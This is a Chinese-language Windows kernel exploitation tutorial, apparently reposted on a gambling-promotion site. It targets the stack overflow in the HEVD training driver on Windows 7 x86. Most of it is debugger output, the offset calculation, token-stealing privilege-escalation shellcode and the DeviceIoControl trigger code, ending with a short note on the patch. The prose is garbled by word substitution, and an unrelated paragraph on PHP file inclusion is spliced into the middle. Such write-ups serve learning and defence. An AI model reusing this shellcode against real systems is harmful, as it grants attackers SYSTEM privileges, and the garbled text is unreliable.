Windows Kernel Exploit (二) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Windows Kernel Exploit (二)

申博_安全预警 申博 76次浏览 未收录 0个评论

0x00:媒介

这是 Windows kernel exploit 系列的第二部份,前一篇我们讲了UAF的应用,这一篇我们经由过程内核空间的栈溢出来继承深切进修 Windows Kernel exploit ,看此文章之前你须要有以下预备:

  • Windows 7 x86 sp1虚拟机
  • 设置好windbg等调试东西,发起合营VirtualKD运用
  • HEVD+OSR Loader合营组织破绽环境

0x01:破绽道理

栈溢出道理

栈溢出是系列破绽中最为基本的破绽,假如你是一个 pwn 选手,第一个学的就是简朴的栈溢出,栈溢出的道理比较简朴,我的明白就是用户对本身请求的缓冲区大小没有一个很好的把控,致使缓冲区作为参数传入其他函数的时刻能够掩盖到了不应掩盖的位置,比方 ebp,返回地点等,假如我们经心组织好返回地点的话,顺序就会根据我们指定的流程继承运转下去,道理很简朴,然则现实用起来并非那末轻易的,在Windows的不断更新过程当中,也增加了很多关于栈溢出的平安庇护机制。

破绽点剖析

我们在IDA中翻开源码文件StackOverflow.c源码文件这里下载检察一下主函数TriggerStackOverflow,这里直接将 Size 传入memcpy函数中,未对它举行限定,就能够涌现栈溢出的状况,别的,我们能够发明 KernelBuffer 的 Size 是 0x800

int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size)
{
  unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
  CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

  KernelBuffer[0] = 0;
  memset(&KernelBuffer[1], 0, 0x7FCu);
  ms_exc.registration.TryLevel = 0;
  ProbeForRead(UserBuffer, 0x800u, 4u);
  DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
  DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
  DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
  DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
  DbgPrint("[+] Triggering Stack Overflow\n");
  memcpy(KernelBuffer, UserBuffer, Size);
  return 0;
}

我们如今差的就是偏移了,偏移的计算是在windbg中调试获得的,我们须要下两处断点来找偏移,第一处是在TriggerStackOverflow函数最先的处所,第二处是在函数中的memcpy函数处下断点

kd> bl  //检察一切断点
     0 e Disable Clear  8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
     1 e Disable Clear  8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
kd> g  //运转
Breakpoint 1 hit  //断在了第一处
HEVD!TriggerStackOverflow:
8c6d162a 680c080000      push    80Ch
kd> r  //检察寄存器
eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
HEVD!TriggerStackOverflow:
8c6d162a 680c080000      push    80Ch
kd> dd esp  //检察客栈状况
91a03ad4  8c6d1718 0032f018 00000907 91a03afc
91a03ae4  8c6d2185 886ad948 886ad9b8 86736268
91a03af4  88815378 00000000 91a03b14 83e84593
91a03b04  88815378 886ad948 886ad948 88815378
91a03b14  91a03b34 8407899f 86736268 886ad948
91a03b24  886ad9b8 00000094 04a03bac 91a03b44
91a03b34  91a03bd0 8407bb71 88815378 86736268
91a03b44  00000000 91a03b01 44c7b400 00000002

上面的第一处断点能够看到返回地点是0x91a03ad4

kd> g
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff      call    HEVD!memcpy (8c6ce1da)
kd> dd esp
91a03274  91a032b4 0032f018 00000907 8c6d25be
91a03284  8c6d231a 00000800 8c6d2338 91a032b4
91a03294  8c6d23a2 00000907 8c6d23be 0032f018
91a032a4  1dcd205c 886ad948 886ad9b8 8c6d2da2
91a032b4  00000000 00000000 00000000 00000000
91a032c4  00000000 00000000 00000000 00000000
91a032d4  00000000 00000000 00000000 00000000
91a032e4  00000000 00000000 00000000 00000000
kd> r
eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000
eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff      call    HEVD!memcpy (8c6ce1da)

上面的第二处断点能够看到0x91a032b4是我们memcpy的第一个参数,也就是KernelBuffer,我们须要掩盖到返回地点也就是偏移为 0x820

>>> hex(0x91a03ad4-0x91a032b4)
'0x820'

0x02:破绽应用

应用思绪

知道了偏移,我们只须要将返回地点掩盖为我们的shellcode的位置即可提权,提权的道理我在第一篇就有讲过,须要的能够参考我的第一篇,只是这里提权的代码须要斟酌到栈的均衡题目,在TriggerStackOverflow函数最先的处所,我们下断点视察发明,ebp的值位置在91a3bae0,也就是值为91a3bafc

浅析php文件包括及其getshell的姿态

浅析php文件包含及其getshell的姿势 0x1 前言  不管平时在打ctf或者代码审计的过程中,文件包含都是很薄弱、很常见的点,一般的开发人员可能觉得文件包含没有什么大问题,低估其造成的危害,我一个ctf爱好者也是这么认为的,直到最近打了几场ctf都出现了文件包含的点,然后被暴虐,才发现文件包含的利用面很广,所以就此打算写篇文章来记录下自己的学习过程。 0x2 认识和了解包含函数  PHP里面共有4个与文件包含相关的函数,分别是: include
require
include_once
require_once
查看相关函数的文档了解他们的差异 function.include.php function.include-once.php 0x3 支持的协议和封装协议 通过function.include.php

kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000      push    80Ch
kd> r
eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8
eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000      push    80Ch
kd> dd esp
91a3bad4  8c6d1718 001ef230 00000824 (91a3bafc) => ebp
91a3bae4  8c6d2185 885c54b8 885c5528 88573cc0
91a3baf4  88815378 00000000 91a3bb14 83e84593
91a3bb04  88815378 885c54b8 885c54b8 88815378
91a3bb14  91a3bb34 8407899f 88573cc0 885c54b8
91a3bb24  885c5528 00000094 04a3bbac 91a3bb44
91a3bb34  91a3bbd0 8407bb71 88815378 88573cc0
91a3bb44  00000000 83ede201 00023300 00000002

当我们进入shellcode的时刻,我们的ebp被掩盖为了0x41414141,为了使客栈均衡,我们须要将ebp从新赋值为97a8fafc

kd> 
Break instruction exception - code 80000003 (first chance)
StackOverflow!ShellCode+0x3:
0008:012c1003 cc              int     3
kd> r
eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0
eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000282
StackOverflow!ShellCode+0x3:
0008:012c1003 cc              int     3
kd> dd esp
97a8fad4  885b52f0 885b5360 8c6d2da2 97a8fafc
97a8fae4  8c6d2185 885b52f0 885b5360 88573cc0
97a8faf4  88815378 00000000 97a8fb14 83e84593
97a8fb04  88815378 885b52f0 885b52f0 88815378
97a8fb14  97a8fb34 8407899f 88573cc0 885b52f0
97a8fb24  885b5360 00000094 04a8fbac 97a8fb44
97a8fb34  97a8fbd0 8407bb71 88815378 88573cc0
97a8fb44  00000000 83ede201 00023300 00000002

应用代码

应用思绪中,我们引见了为何要客栈均衡,下面是详细的shellcode部份

VOID ShellCode()
{
    //__debugbreak();  // 运转到这里顺序会自动断下来守候windbg的调试
    __asm
    {
            pop    edi
            pop    esi
            pop    ebx
            pushad
            mov eax, fs:[124h]
            mov eax, [eax + 050h]
            mov ecx, eax
            mov edx, 4

        find_sys_pid :
                     mov eax, [eax + 0b8h]
                     sub eax, 0b8h
                     cmp[eax + 0b4h], edx
                     jnz find_sys_pid

                     mov edx, [eax + 0f8h]
                     mov[ecx + 0f8h], edx
                     popad
                     pop ebp
                     ret 8
    }
}

组织并挪用shellcode部份

char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824,NULL,0,&bReturn,NULL);

详细的代码参考这里,末了提权胜利

Windows Kernel Exploit (二)

0x03:补丁思索

我们先检察源文件 StackOverflow.c 中补丁的步伐,区分很明显,不平安版本的RtlCopyMemory函数中的第三个参数没有举行掌握,直接将用户供应的 Size 传到了函数中,平安的补丁就是对RtlCopyMemory的参数举行严厉的设置

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

0x04:跋文

经由过程此次的演习感受到Windows内核中和Linux中栈溢出的区分,在Linux中,假如我们想要栈溢出,会有canary,ASLR,NX等等庇护须要我们去绕过,假如平台上升到win10,那末就会有更多全新的平安机制须要去斟酌


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Windows Kernel Exploit (二)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址